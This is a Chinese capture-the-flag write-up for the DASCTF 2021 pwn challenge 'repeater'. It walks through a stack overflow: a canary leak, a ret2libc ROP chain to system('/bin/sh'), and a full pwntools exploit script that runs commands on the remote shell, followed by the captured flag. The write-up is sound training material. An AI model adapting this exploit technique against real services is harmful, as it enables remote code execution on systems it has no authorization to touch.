repeater 题解

0x00 题目元数据

项目 信息
来源 DASCTF(2021)
Arch amd64-64-little
RELRO Partial RELRO
Stack(Canary) Canary found
NX NX enabled
PIE No PIE (0x400000)
Stripped Yes
libc 2.23-0ubuntu11.3(本地按 Ubuntu 16.04 猜,远程验证一致)
远端 0d0ee20e9c18c66c10af3718.tcp-ctf2.dasctf.com:9999(TLS + SNI)

0x01 思路

main 是个 while 循环,每轮:

1
2
3
4
5
6
7
char buf[40];                    // rbp-0x30
printf("What do you want me to repeat...:");
read(0, buf, 0x100); // 40 字节 buf 读 256,溢出
puts(buf); // ← 泄漏点
printf("Do you want to continue?");
scanf("%d", &dword_60108C); // 全局标志,非 0 就跳出循环
getchar();

canary 泄漏:canary 首字节固定 0x00,puts(buf) 打到那里就停。所以第一次 read 多发 1 字节(b'A'*40 + b'B')把首字节顶掉,puts 会一直打印 canary 后 7 字节。canary[1..7] 无 0x00 的概率约 97%,撞上截断就重开进程。

关键点:read 覆盖的返回地址只有在 main 返回时才生效,而 main 还在 while 里。所以 ROP 铺好之后,必须在 scanf("%d") 喂一个非 0 值,程序才会 break 出循环、puts("hah,you are so stupid!!!"),然后 leave; ret 进 ROP。

两轮:

  1. pop rdi; puts@got; puts@plt; main —— 泄漏 libc,回 main 重来(canary 同进程不变)。
  2. ret(对齐); pop rdi; "/bin/sh"; system —— shell。

偏移:buf→canary 40,canary→ret 16。

gadget:pop rdi; ret @ 0x400933、ret @ 0x4005f9。puts@plt = 0x400610,puts@got = 0x601018(用 objdump -R 查的真实 GOT,别用 IDA extern 段里的假符号)。

0x02 利用

先泄漏 canary,撞到截断就重开,最多重试 20 次。第一轮在 read 里把 ROP 铺好,再用 scanf 喂非 0 跳出循环触发 main 返回;拿到 puts 地址后算 libc 基址,第二轮直接 system。

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/bin/python
# _*_ coding: utf-8 _*_

from os import path

from pwn import *

context(arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.binary = './repeater'
e = ELF('./repeater')
libc = e.libc
# libc = ELF('')
host = "0d0ee20e9c18c66c10af3718.tcp-ctf2.dasctf.com"
port = 9999
if args['RE']:
io = remote(host, port, ssl=bool(args['SSL']), sni=host)
else:
io = process('./repeater')


def debug(gdbscript=''):
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)


def bp():
if args.GDB:
pause()


sa = lambda s, d: io.sendafter(s, d)
sla = lambda s, d: io.sendlineafter(s, d)
sl = lambda d: io.sendline(d)
sd = lambda d: io.send(d)
ru = lambda s: io.recvuntil(s)
rc = lambda n: io.recv(n)
rl = lambda: io.recvline()
ti = lambda: io.interactive()
lg = lambda s, v: log.info('\033[1;32m %s --> 0x%x \033[0m' % (s, v))

POP_RDI = 0x400933
RET = 0x4005f9
PUTS_PLT = 0x400610
PUTS_GOT = 0x601018
MAIN = 0x4007d9

PROMPT = b'Please enter it to me:'
CONT = b'Do you want to continue?'


def leak_canary():
"""buf 40 字节,canary 首字节固定 0x00;多写 1 字节顶掉它,puts 就会带出后 7 字节"""
ru(PROMPT)
sd(b'A' * 40 + b'B')
d = ru(CONT)[:-len(CONT)]
if d.endswith(b'\n'):
d = d[:-1]
if len(d) < 48:
return None
return b'\x00' + d[41:48]


def main():
global io
canary = None
for _ in range(20):
canary = leak_canary()
if canary is not None:
break
io.close()
io = process('./repeater') if not args['RE'] \
else remote(host, port, ssl=bool(args['SSL']), sni=host)
if canary is None:
raise SystemExit('canary leak failed')
lg('canary', u64(canary))

# 第一轮:read 里直接把 ROP 铺好,再用 scanf 喂非 0 跳出循环触发 main 返回
sl(b'0')
ru(PROMPT)
payload = b'A' * 40 + canary + b'B' * 8
payload += p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
sd(payload)
ru(CONT)
sl(b'1')

ru(b'hah,you are so stupid!!!\n')
line = rl()
puts_addr = u64(line.rstrip(b'\n').ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
lg('puts', puts_addr)
lg('libc_base', libc_base)

# 第二轮:canary 不变,直接 system('/bin/sh')
ru(PROMPT)
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * 40 + canary + b'B' * 8
payload2 += p64(RET) + p64(POP_RDI) + p64(binsh) + p64(system)
sd(payload2)
ru(CONT)
sl(b'1')

time.sleep(0.5)
sl(b'cat /flag; cat /flag.txt; id')
print(io.recvall(timeout=5).decode('latin-1', 'ignore'))


if __name__ == '__main__':
main()

0x04 Flag

1
CTF2{b4d3c0c5-0869-47b0-bd6f-21104077cf07}

站内搜索

没有找到内容!